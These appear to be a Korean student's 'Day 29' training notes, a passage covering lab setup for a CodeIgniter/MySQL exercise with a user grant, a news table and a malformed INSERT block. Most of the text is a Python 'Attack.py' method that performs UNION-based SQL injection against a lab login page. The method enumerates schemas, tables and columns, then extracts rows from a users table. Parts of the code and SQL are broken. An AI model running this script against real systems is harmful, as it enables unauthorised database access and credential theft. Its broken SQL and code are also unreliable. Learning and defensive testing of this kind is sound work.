29일차

29일차

홈으로 돌아가기




호스트 전용 상태에서 ci4.st.kr로 접속 되도록 할것
호스트 전용의 DNS를 설정해주기
메인PC에 워크벤치 설치해서 접속 되도록 조치 할 것


create user ci4@192.168.56.1 identified by '123456';
grant all on ci4.* to ci4@192.168.56.1;
flush privileges;

CREATE TABLE news (
    idx int(11) NOT NULL AUTO_INCREMENT,
    title varchar(128) NOT NULL,
    slug varchar(128) NOT NULL,
    body text NOT NULL, 
    reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, 
    PRIMARY KEY (idx),
    KEY slug (slug)
);
slug : 페이지나 포스트를 설명하는 몇개 단어의 집합
INSERT INTO news VALUES
(1,'','',''),
(2,'','',''),
(3,'','','');
(4,'','',''),
(5,'','',''),
(6,'','','');
(7,'','',''),
(8,'','',''),
(9,'','','');
(10,'','',''),
(11,'','',''),





//Attack.py db공격부분 완성
    def sql(self):
        result=[]
        target="http://web2.st.kr/auth/login2_ok.php"
        sql_in=["' UNION SELECT schema_name,2 from information_schema.schemata#"]
        exclude_schemas = ['information_schema', 'performance_schema']
        for sql in sql_in:
            payload={"id_param":sql,"pw_param":sql}
           # print(sql)
            response=requests.post(target, data=payload)
#            print(response.text)#
#            if "OK" in response.text:
#                print("SQL OK")
#            matches = re.search(r'OK[\s]*<br>(.*?)<br>', response.text, re.DOTALL)
            matches = re.findall(r'<br>(.*?)<br>', response.text)
            if matches:
#              result_text = matches.group(1)
#              print("OK:", result_text)
                result_array = [schema for schema in matches if schema not in exclude_schemas] # matches
        print(result_array)

#            else:
#               print("No OK tags found.")
        tn_array = []
        for table_name in result_array:
            sql_in = f"' UNION SELECT table_name,2 from information_schema.tables where table_schema='{table_name}'#" 
#            print(sql_in)
            payload = {"id_param": sql_in, "pw_param": sql_in}
            response = requests.post(target, data=payload)
#            print(response.text)
            matches = re.findall(r'<br>(.*?)<br>', response.text)
            if matches:
                tn_array.extend(matches)
        print(tn_array)
        cn_array = []
        for table_name in tn_array:
            for column_name in result_array:
#                print({table_name})
                sql_in = f"' UNION SELECT column_name,2 from information_schema.columns where table_schema='{column_name}' and table_name='{table_name}'#"
#            print(sql_in)
            payload = {"id_param": sql_in, "pw_param": sql_in}
            response = requests.post(target, data=payload)
#            print(response.text)
            matches = re.findall(r'<br>(.*?)<br>', response.text)
            if matches:
                cn_array.extend(matches)
        print(cn_array)

        id_array = []
        for id_a in cn_array:
#                print({table_name})
            sql_in = f"' UNION SELECT {id_a},{id_a} from users#"
#            print(sql_in)
            payload = {"id_param": sql_in, "pw_param": sql_in}
            response = requests.post(target, data=payload)
#            print(response.text)
            matches = re.findall(r'<br>(.*?)<br>', response.text)
            if matches:
                id_array.extend(matches)
                
        print(id_array)